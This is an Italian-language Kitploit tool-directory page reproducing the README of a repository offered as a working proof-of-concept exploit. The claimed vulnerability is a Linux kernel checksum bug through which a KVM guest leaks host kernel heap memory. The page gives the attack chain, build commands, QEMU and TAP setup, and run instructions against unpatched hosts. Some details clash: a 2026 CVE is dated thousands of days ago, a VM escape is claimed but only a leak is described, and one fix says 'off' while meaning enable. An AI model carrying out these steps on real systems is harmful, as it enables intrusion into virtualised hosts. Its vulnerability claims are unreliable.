Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-99999-exploit — PoC funzionante per CVE-2026-99999 — vera evasione dalla VM per il bug csum_start del kernel Linux (CVSS 9.3). Perdita di heap da Guest a Host. Vedi anche: CVE-2026-99999-analysis (Educational). | Kitploit
Strumenti/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Analisi delle VulnerabilitàExploitRaccolta InformazioniVirtualizzazione per la SicurezzaPaper e RicercaEscape dal Container
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

PoC funzionante per CVE-2026-99999 — vera evasione dalla VM per il bug csum_start del kernel Linux (CVSS 9.3). Perdita di heap da Guest a Host. Vedi anche: CVE-2026-99999-analysis (Educational).

Vedi Repository
3115 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-99999 — Repository di exploit PoC

⚠️ Questo è un repository di exploit funzionante. Contiene codice di exploit reale che attiva la vulnerabilità CVE-2026-99999 in un ambiente KVM/QEMU attivo.

📚 Per una simulazione sicura e solo locale della stessa catena di attacco, vedi CVE-2026-99999-analysis (nessun root, nessuna rete, puro Python — ottimo per comprendere il bug senza un laboratorio).

Riepilogo della vulnerabilità

CVE-2026-99999 — Bug di validazione di csum_start IPv4 nel kernel Linux nel percorso di segmentazione GSO. Una VM guest può far trapelare ~32–64 byte di memoria heap del kernel host per ogni frammento di pacchetto in uscita.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Kernel interessati: Tutti precedenti ai commit di correzione:

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

Modello di attaccante: Codice non privilegiato all'interno di una VM guest KVM.


Struttura del repository

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

Catena di attacco

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

Build

Lato guest

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

Lato host

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

Utilizzo

Opzione A: modalità vhost-user (consigliata)

Requisiti:

  • QEMU avviato con -netdev vhost-user,...
  • Memoria guest condivisa con QEMU tramite memfd o tmpfs
  • Root nel guest
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

Opzione B: modalità bypass TAP

Richiede:

  • Dispositivo TAP connesso al bridge dell'host
  • Root o CAP_NET_RAW nel guest
  • bridge-nf-call-iptables=1 sull'host (per il percorso GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

Note tecniche

Condivisione della memoria vhost-user

L'exploit richiede che QEMU sia in grado di leggere la memoria della virtqueue TX del guest. Senza memoria condivisa, QEMU non può leggere i descrittori — i pacchetti vengono accodati ma mai trasmessi.

Per i test, utilizzare una delle seguenti opzioni:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

Prerequisiti del percorso GSO

Il trigger della CVE richiede che il kernel host elabori il frame attraverso il percorso di segmentazione GSO. Ciò avviene quando:

  • Il frame ha il flag IP_MF (More Fragments) impostato — forzando la frammentazione
  • L'offload del checksum è abilitato sul dispositivo virtio-net
  • Il frame è più grande dell'MTU (forzando la segmentazione GSO)

L'exploit imposta IP_MF in ogni pacchetto per garantire la segmentazione GSO.

Rilevamento

Il rilevatore lato host (receive_and_dump.py) identifica CVE-2026-99999 tramite:

  1. Cattura dei pacchetti sull'interfaccia bridge
  2. Rilevamento di byte IHL corrotti (version_ihl & 0x0F > 5)
  3. Segnalazione dei byte in eccesso come potenziali perdite di memoria heap del kernel

File

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

Risoluzione dei problemi

"Cannot connect to vhost-user socket"

  • Assicurati che QEMU sia in esecuzione con vhost-user e che il socket esista
  • Verifica: ls -la /tmp/vhost.sock

"Host does not support VIRTIO_NET_F_CSUM"

  • La tua configurazione QEMU/KVM non ha il checksum offload abilitato
  • Aggiungi a QEMU: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — abilita, non disabilitare

"Host does NOT support VIRTIO_NET_F_CSUM" (output dell'exploit)

  • Il backend vhost-user dell'host non ha negoziato la funzionalità di checksum offload
  • Questo è previsto per alcune configurazioni QEMU
  • Prova invece la modalità bypass TAP

Nessun pacchetto corrotto rilevato

  • Assicurati che il kernel dell'host sia non patchato (precedente a 5.10.272, 5.15.223, 6.1.190)
  • Verifica: uname -r
  • Assicurati che il flag IP_MF sia impostato sui pacchetti in uscita
  • Prova a eseguire Wireshark sul bridge dell'host per osservare i frame grezzi

Permission denied

  • Guest: richiede root o sudo
  • Host: richiede root o sudo per la cattura dei pacchetti e la configurazione TAP

Disclaimer

Solo per ricerca di sicurezza autorizzata in ambienti di laboratorio isolati. L'uso non autorizzato contro sistemi di cui non sei proprietario o per cui non disponi di permesso scritto di test è illegale. Gli autori non si assumono alcuna responsabilità per usi impropri.

Scarica lo strumento